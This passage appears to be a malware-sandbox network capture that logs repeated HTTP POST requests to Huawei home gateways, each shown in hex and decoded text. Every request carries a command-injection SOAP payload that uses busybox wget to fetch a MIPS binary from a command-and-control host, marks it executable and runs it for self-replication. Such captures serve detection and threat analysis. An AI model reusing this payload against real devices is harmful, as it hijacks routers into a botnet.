70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
